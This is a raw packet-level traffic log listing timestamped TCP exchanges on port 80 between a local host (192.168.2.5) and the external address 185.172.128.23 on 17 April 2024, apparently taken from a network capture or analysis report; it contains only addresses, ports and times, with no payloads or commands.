Apr 17, 2024 09:17:13.402858019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402863979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402894020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402896881 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402930975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402945995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402966976 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402968884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.403003931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.403040886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.403043985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.403053045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.403080940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.403116941 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.403126001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.403166056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.403177023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.403217077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.403230906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.403275967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.403321028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.403358936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.403395891 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.403404951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.403433084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.403439999 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.403476954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.427037954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.427097082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.427139997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.427175045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.437711000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.437769890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.437777042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.437809944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.437841892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.437849045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.437860012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.437890053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.437895060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.437928915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.437935114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.437966108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.437972069 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.438004017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.438009024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.438049078 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.438051939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.438143969 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441283941 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441349030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441390038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441432953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441472054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441479921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441519976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441562891 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441605091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441611052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441643000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441647053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441679955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441684961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441719055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441723108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441759109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441761017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441795111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441804886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441832066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441839933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441869020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441906929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441911936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441943884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.441945076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.441996098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.456366062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.456433058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.456440926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.456485033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.468405008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.468461990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.468468904 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.468499899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.468524933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.468539000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.468549013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.468579054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.468847990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.468888044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.468915939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.468929052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.469422102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.469481945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.469481945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.469527006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.470319986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.470366955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.471576929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.471623898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.471663952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.471724033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.471777916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.471817970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.471832037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.471857071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.471862078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.471894026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.471899986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.471930981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.471936941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.471970081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.471976042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.472009897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.472013950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.472047091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.472053051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.472084045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.472090960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.472136974 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.472146988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.472183943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.472191095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.472233057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.489715099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.489774942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.489772081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.489814997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.518187046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.518241882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.518277884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.518311024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.535645962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.535705090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.535727024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.535743952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.535772085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.535780907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.535803080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.535828114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.535994053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.540185928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540319920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540345907 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.540385008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540430069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540467978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540504932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540543079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540612936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.540628910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540644884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.540666103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540687084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540707111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540735960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.540743113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540808916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.540827036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540889978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.540899992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.540973902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541002989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541018963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.541069984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.541099072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541182041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541193008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.541218996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541238070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.541265965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541322947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541358948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541378975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541388035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.541399002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541419983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541440010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541476011 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541484118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.541496038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541517019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541541100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.541553020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541567087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.541590929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541615009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541626930 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.541635990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541678905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541699886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541721106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541743994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541764021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541800022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541805029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.541822910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541841984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541862011 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541884899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.541919947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.542033911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.637260914 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.842556953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959208965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959230900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959248066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959264994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959304094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.959305048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.959393978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.959434032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959453106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959469080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959485054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959517956 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.959517956 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.959650040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959755898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959773064 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959789038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.959799051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.959799051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.960124016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.017600060 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.017657995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.017674923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.017689943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.017699003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.017699003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.017708063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.017725945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.017733097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.017733097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.017743111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.017759085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.017769098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.017769098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.017801046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.017801046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.023674011 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023699045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023719072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023736000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023741007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.023741961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.023775101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.023775101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.023787975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023807049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023823023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023835897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.023838043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023855925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023874044 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.023888111 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.023941994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023955107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.023960114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.023977995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.024009943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.024111986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.024322033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.024414062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.024493933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.024513006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.024528980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.024568081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.024568081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.024568081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075227976 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075256109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075275898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075285912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075294018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075303078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075320005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075370073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075388908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075402021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075407028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075427055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075427055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075428009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075453997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075470924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075691938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075711012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075730085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075742006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075747013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.075767994 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.075786114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.076044083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.076061964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.076083899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.076106071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.076106071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.076109886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.076121092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.076160908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.076402903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.076422930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.076442003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.076459885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.076495886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.076495886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.077271938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077291012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077308893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077322960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.077326059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077338934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.077348948 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.077414989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.077477932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077548027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077564955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077580929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077596903 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.077855110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077900887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.077900887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.077927113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077945948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077960968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.077979088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.078048944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.078269005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.078350067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.078367949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.078383923 CEST	80	49704	185.172.128.23	192.168.2.5
